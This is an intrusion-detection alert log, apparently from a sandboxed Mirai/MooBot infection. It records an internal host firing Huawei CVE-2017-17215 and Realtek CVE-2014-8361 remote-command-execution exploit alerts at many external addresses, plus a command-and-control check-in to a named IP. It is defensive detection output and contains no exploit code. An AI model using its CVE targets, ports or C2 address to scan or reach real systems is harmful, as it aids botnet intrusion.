07/20/24-23:01:05.807426	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38754	52869	192.168.2.14	156.230.140.45
07/20/24-23:01:22.786757	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39220	37215	192.168.2.14	34.145.54.99
07/20/24-23:01:05.906603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39680	37215	192.168.2.14	157.102.88.79
07/20/24-23:01:11.467529	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50608	37215	192.168.2.14	162.227.65.152
07/20/24-23:01:13.331934	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46390	52869	192.168.2.14	188.154.109.67
07/20/24-23:01:13.333560	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58816	52869	192.168.2.14	222.151.202.253
07/20/24-23:01:28.143148	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50486	37215	192.168.2.14	90.194.101.115
07/20/24-23:01:05.895886	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50246	37215	192.168.2.14	197.138.28.9
07/20/24-23:01:29.172557	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37482	52869	192.168.2.14	2.153.113.72
07/20/24-23:01:33.069192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36232	37215	192.168.2.14	197.184.132.63
07/20/24-23:01:22.777005	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59040	37215	192.168.2.14	197.157.192.147
07/20/24-23:01:37.121609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36778	37215	192.168.2.14	157.193.161.30
07/20/24-23:01:25.002701	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47890	52869	192.168.2.14	52.221.200.218
07/20/24-23:01:29.672048	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55654	52869	192.168.2.14	71.136.139.92
07/20/24-23:01:02.411645	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40624	37215	192.168.2.14	157.92.46.65
07/20/24-23:01:05.895933	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37054	37215	192.168.2.14	41.32.58.72
07/20/24-23:01:37.124220	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52052	37215	192.168.2.14	197.187.174.249
07/20/24-23:01:29.170362	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47508	52869	192.168.2.14	201.188.111.248
07/20/24-23:01:34.923716	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47506	52869	192.168.2.14	144.32.157.121
07/20/24-23:01:14.487012	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43432	37215	192.168.2.14	41.101.89.22
07/20/24-23:01:29.189808	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54188	52869	192.168.2.14	94.45.75.174
07/20/24-23:01:13.329793	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55518	52869	192.168.2.14	174.69.237.0
07/20/24-23:01:19.231228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46576	37215	192.168.2.14	197.242.103.0
07/20/24-23:01:25.298710	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51308	37215	192.168.2.14	13.174.229.65
07/20/24-23:01:13.331580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52870	52869	192.168.2.14	49.217.12.33
07/20/24-23:01:29.688290	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49438	52869	192.168.2.14	148.218.221.20
07/20/24-23:01:34.972618	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41950	52869	192.168.2.14	105.235.42.192
07/20/24-23:01:05.911930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43892	37215	192.168.2.14	157.159.57.3
07/20/24-23:01:07.672387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35926	37215	192.168.2.14	41.157.157.252
07/20/24-23:01:25.230327	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41456	37215	192.168.2.14	197.39.188.191
07/20/24-23:01:24.741442	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35624	52869	192.168.2.14	14.177.37.112
07/20/24-23:01:02.410541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53792	37215	192.168.2.14	197.95.27.148
07/20/24-23:01:24.077306	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38712	52869	192.168.2.14	59.161.187.149
07/20/24-23:01:37.167957	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43468	37215	192.168.2.14	41.68.47.221
07/20/24-23:01:07.668438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48026	37215	192.168.2.14	197.160.7.39
07/20/24-23:01:19.223034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57996	37215	192.168.2.14	197.38.116.60
07/20/24-23:01:19.221647	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50998	37215	192.168.2.14	120.239.43.227
07/20/24-23:01:33.040755	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52964	37215	192.168.2.14	41.151.228.42
07/20/24-23:01:33.094838	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59016	37215	192.168.2.14	205.237.3.78
07/20/24-23:01:02.414850	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54462	37215	192.168.2.14	157.81.103.110
07/20/24-23:01:22.782671	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56788	37215	192.168.2.14	173.148.234.198
07/20/24-23:01:37.124220	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52314	37215	192.168.2.14	41.217.102.92
07/20/24-23:01:07.662924	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42132	37215	192.168.2.14	41.128.241.73
07/20/24-23:01:34.931386	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34882	52869	192.168.2.14	117.101.242.241
07/20/24-23:01:32.789082	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42186	52869	192.168.2.14	148.132.169.125
07/20/24-23:01:05.482928	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38976	52869	192.168.2.14	170.123.158.68
07/20/24-23:01:25.290247	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47698	37215	192.168.2.14	157.37.118.43
07/20/24-23:01:02.414687	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59254	37215	192.168.2.14	152.71.212.76
07/20/24-23:01:05.892501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33168	37215	192.168.2.14	41.120.237.5
07/20/24-23:01:34.700035	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42272	52869	192.168.2.14	177.131.193.232
07/20/24-23:01:34.920870	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48002	52869	192.168.2.14	203.116.243.30
07/20/24-23:01:22.772933	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48352	37215	192.168.2.14	197.255.11.176
07/20/24-23:01:25.289824	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39792	37215	192.168.2.14	61.120.214.221
07/20/24-23:01:37.120542	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33790	37215	192.168.2.14	157.63.61.149
07/20/24-23:01:07.676384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54290	37215	192.168.2.14	217.24.35.60
07/20/24-23:01:37.163818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41106	37215	192.168.2.14	41.134.44.79
07/20/24-23:01:22.790734	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57820	37215	192.168.2.14	157.30.174.147
07/20/24-23:01:34.911761	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52292	52869	192.168.2.14	41.37.91.19
07/20/24-23:01:05.466055	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60522	52869	192.168.2.14	121.241.252.236
07/20/24-23:01:06.011856	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45992	52869	192.168.2.14	145.114.175.209
07/20/24-23:01:07.683360	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60906	37215	192.168.2.14	197.178.140.168
07/20/24-23:01:19.334468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51446	37215	192.168.2.14	41.51.88.55
07/20/24-23:01:25.970398	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45718	2466	192.168.2.14	15.235.203.214
07/20/24-23:01:33.059039	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60986	37215	192.168.2.14	86.39.55.1
07/20/24-23:01:25.280228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33246	37215	192.168.2.14	197.145.162.217
07/20/24-23:01:34.927043	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59426	52869	192.168.2.14	24.110.26.135
07/20/24-23:01:37.199306	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47246	37215	192.168.2.14	157.233.41.33
07/20/24-23:01:19.221490	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48112	37215	192.168.2.14	157.42.133.249
07/20/24-23:01:34.911249	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48460	52869	192.168.2.14	47.7.230.238
07/20/24-23:01:32.141563	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58246	52869	192.168.2.14	165.75.84.143
07/20/24-23:01:02.410932	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45158	37215	192.168.2.14	41.122.12.187
07/20/24-23:01:34.980138	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59850	52869	192.168.2.14	162.16.177.241
07/20/24-23:01:31.344728	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54134	52869	192.168.2.14	110.2.88.21
07/20/24-23:01:19.227537	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59338	37215	192.168.2.14	41.140.146.21
07/20/24-23:01:05.905239	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54410	37215	192.168.2.14	197.1.252.213
07/20/24-23:01:14.397786	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36212	37215	192.168.2.14	197.120.80.178
07/20/24-23:01:33.443703	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37568	52869	192.168.2.14	53.62.238.12
07/20/24-23:01:19.233961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60274	37215	192.168.2.14	41.204.106.94
07/20/24-23:01:40.208792	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	49582	2466	192.168.2.14	15.235.203.214
07/20/24-23:01:11.485692	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53166	37215	192.168.2.14	157.123.112.202
07/20/24-23:01:33.289515	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41010	52869	192.168.2.14	66.46.157.85
07/20/24-23:01:25.290247	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47698	37215	192.168.2.14	157.37.118.43
07/20/24-23:01:33.060990	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45540	37215	192.168.2.14	197.194.34.140
07/20/24-23:01:11.459583	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52674	37215	192.168.2.14	197.80.3.152
07/20/24-23:01:28.216082	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42630	37215	192.168.2.14	4.75.218.237
07/20/24-23:01:02.411644	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57200	37215	192.168.2.14	157.20.249.180
07/20/24-23:01:02.440622	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45974	37215	192.168.2.14	157.255.88.114
07/20/24-23:01:22.801376	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44718	37215	192.168.2.14	220.122.25.2
07/20/24-23:01:25.283565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39036	37215	192.168.2.14	41.94.225.129
07/20/24-23:01:25.284909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52796	37215	192.168.2.14	41.148.240.97
07/20/24-23:01:34.908059	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36340	52869	192.168.2.14	128.10.172.66
07/20/24-23:01:25.289824	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38836	37215	192.168.2.14	124.114.110.102
07/20/24-23:01:33.043558	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57248	37215	192.168.2.14	157.234.215.172
07/20/24-23:01:13.329800	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47598	52869	192.168.2.14	8.55.90.119
07/20/24-23:01:13.331144	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47558	52869	192.168.2.14	93.255.94.157
07/20/24-23:01:19.222378	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35444	37215	192.168.2.14	35.247.69.244
07/20/24-23:01:33.047902	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35796	37215	192.168.2.14	74.251.145.25
07/20/24-23:01:19.223034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46804	37215	192.168.2.14	157.142.189.209
07/20/24-23:01:30.879044	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43326	52869	192.168.2.14	170.186.56.154
07/20/24-23:01:33.139994	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49682	37215	192.168.2.14	130.18.46.46
07/20/24-23:01:07.668439	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48818	37215	192.168.2.14	207.29.111.74
07/20/24-23:01:24.800803	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52652	52869	192.168.2.14	190.101.187.66
07/20/24-23:01:37.234827	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46912	37215	192.168.2.14	157.227.16.28
07/20/24-23:01:13.333147	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45196	52869	192.168.2.14	173.77.175.8
07/20/24-23:01:29.170361	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47582	52869	192.168.2.14	27.8.13.50
07/20/24-23:01:14.440842	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47862	37215	192.168.2.14	197.109.143.30
07/20/24-23:01:02.411645	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47630	37215	192.168.2.14	197.228.255.157
07/20/24-23:01:19.223034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54434	37215	192.168.2.14	197.23.36.31
07/20/24-23:01:02.400873	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44016	37215	192.168.2.14	24.34.240.214
07/20/24-23:01:07.683360	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45068	37215	192.168.2.14	41.59.243.36
07/20/24-23:01:02.412965	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54236	37215	192.168.2.14	197.164.125.148
07/20/24-23:01:25.230310	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47230	37215	192.168.2.14	197.164.205.158
07/20/24-23:01:13.337402	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49930	52869	192.168.2.14	147.70.92.77
07/20/24-23:01:28.219332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46784	37215	192.168.2.14	85.45.111.26
07/20/24-23:01:11.481655	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41134	37215	192.168.2.14	9.53.96.150
07/20/24-23:01:07.672294	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39986	37215	192.168.2.14	125.4.32.65
07/20/24-23:01:13.329009	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39628	52869	192.168.2.14	101.71.112.133
07/20/24-23:01:23.029917	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51184	52869	192.168.2.14	194.152.67.254
07/20/24-23:01:05.904128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42796	37215	192.168.2.14	41.26.105.139
07/20/24-23:01:11.467529	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60278	37215	192.168.2.14	158.242.45.146
07/20/24-23:01:06.633248	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57574	52869	192.168.2.14	222.151.202.253
07/20/24-23:01:25.285323	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59986	37215	192.168.2.14	197.175.131.141
07/20/24-23:01:05.895754	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38858	37215	192.168.2.14	157.73.176.224
07/20/24-23:01:14.397066	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38442	37215	192.168.2.14	197.0.156.21
07/20/24-23:01:25.287093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42054	37215	192.168.2.14	157.105.210.14
07/20/24-23:01:37.222600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59382	37215	192.168.2.14	197.173.79.219
07/20/24-23:01:24.075727	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60574	52869	192.168.2.14	190.210.219.152
07/20/24-23:01:33.043558	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52568	37215	192.168.2.14	157.136.217.55
07/20/24-23:01:25.287093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44472	37215	192.168.2.14	149.100.184.249
07/20/24-23:01:33.640361	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33978	52869	192.168.2.14	70.231.21.112
07/20/24-23:01:25.007295	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57888	52869	192.168.2.14	146.184.254.182
07/20/24-23:01:33.182181	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49806	52869	192.168.2.14	174.193.181.196
07/20/24-23:01:33.367602	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60340	52869	192.168.2.14	186.241.124.28
07/20/24-23:01:11.478031	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51788	37215	192.168.2.14	197.159.161.4
07/20/24-23:01:34.945022	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54686	52869	192.168.2.14	19.75.81.79
07/20/24-23:01:05.898116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45086	37215	192.168.2.14	197.153.78.108
07/20/24-23:01:11.477131	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32974	37215	192.168.2.14	157.200.88.89
07/20/24-23:01:29.170915	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53242	52869	192.168.2.14	190.101.187.66
07/20/24-23:01:02.411662	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60374	37215	192.168.2.14	13.86.185.73
07/20/24-23:01:02.415259	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55584	37215	192.168.2.14	197.102.177.131
07/20/24-23:01:07.210802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36720	52869	192.168.2.14	8.188.8.56
07/20/24-23:01:13.333147	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33012	52869	192.168.2.14	37.92.251.97
07/20/24-23:01:13.334997	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52994	52869	192.168.2.14	79.199.66.178
07/20/24-23:01:05.641880	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55808	52869	192.168.2.14	79.163.220.136
07/20/24-23:01:28.208110	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60824	37215	192.168.2.14	157.218.188.73
07/20/24-23:01:07.676921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59370	37215	192.168.2.14	73.226.113.9
07/20/24-23:01:14.397263	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38260	37215	192.168.2.14	41.83.18.173
07/20/24-23:01:22.794319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33862	37215	192.168.2.14	157.175.199.162
07/20/24-23:01:34.919558	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41714	52869	192.168.2.14	158.56.98.102
07/20/24-23:01:29.189808	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58774	52869	192.168.2.14	167.169.213.136
07/20/24-23:01:05.895754	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51638	37215	192.168.2.14	41.233.133.241
07/20/24-23:01:28.145934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51828	37215	192.168.2.14	197.114.73.230
07/20/24-23:01:05.597095	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43066	52869	192.168.2.14	180.39.180.182
07/20/24-23:01:19.220637	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50898	37215	192.168.2.14	41.213.178.40
07/20/24-23:01:34.919559	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55714	52869	192.168.2.14	110.2.88.21
07/20/24-23:01:02.415804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54222	37215	192.168.2.14	42.255.69.128
07/20/24-23:01:11.461509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53392	37215	192.168.2.14	41.27.201.243
07/20/24-23:01:28.219332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39144	37215	192.168.2.14	41.246.243.194
07/20/24-23:01:11.480465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53330	37215	192.168.2.14	197.92.6.120
07/20/24-23:01:02.416600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38644	37215	192.168.2.14	199.67.163.62
07/20/24-23:01:14.416273	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55888	37215	192.168.2.14	100.194.101.29
07/20/24-23:01:05.652239	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38858	52869	192.168.2.14	31.90.157.252
07/20/24-23:01:22.769326	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35048	37215	192.168.2.14	157.243.189.163
07/20/24-23:01:25.210004	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51666	52869	192.168.2.14	189.92.207.153
07/20/24-23:01:07.682290	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39184	37215	192.168.2.14	41.67.230.166
07/20/24-23:01:33.068258	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48806	37215	192.168.2.14	35.20.186.175
07/20/24-23:01:37.122769	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40214	37215	192.168.2.14	12.66.186.18
07/20/24-23:01:34.910407	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45608	52869	192.168.2.14	91.137.254.120
07/20/24-23:01:22.772933	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34052	37215	192.168.2.14	197.192.218.48
07/20/24-23:01:07.674717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37132	37215	192.168.2.14	134.114.43.200
07/20/24-23:01:05.573784	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33816	52869	192.168.2.14	101.191.129.126
07/20/24-23:01:37.217137	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51432	37215	192.168.2.14	157.255.196.103
07/20/24-23:01:11.468893	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34810	37215	192.168.2.14	190.106.73.53
07/20/24-23:01:14.397957	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59580	37215	192.168.2.14	157.162.218.57
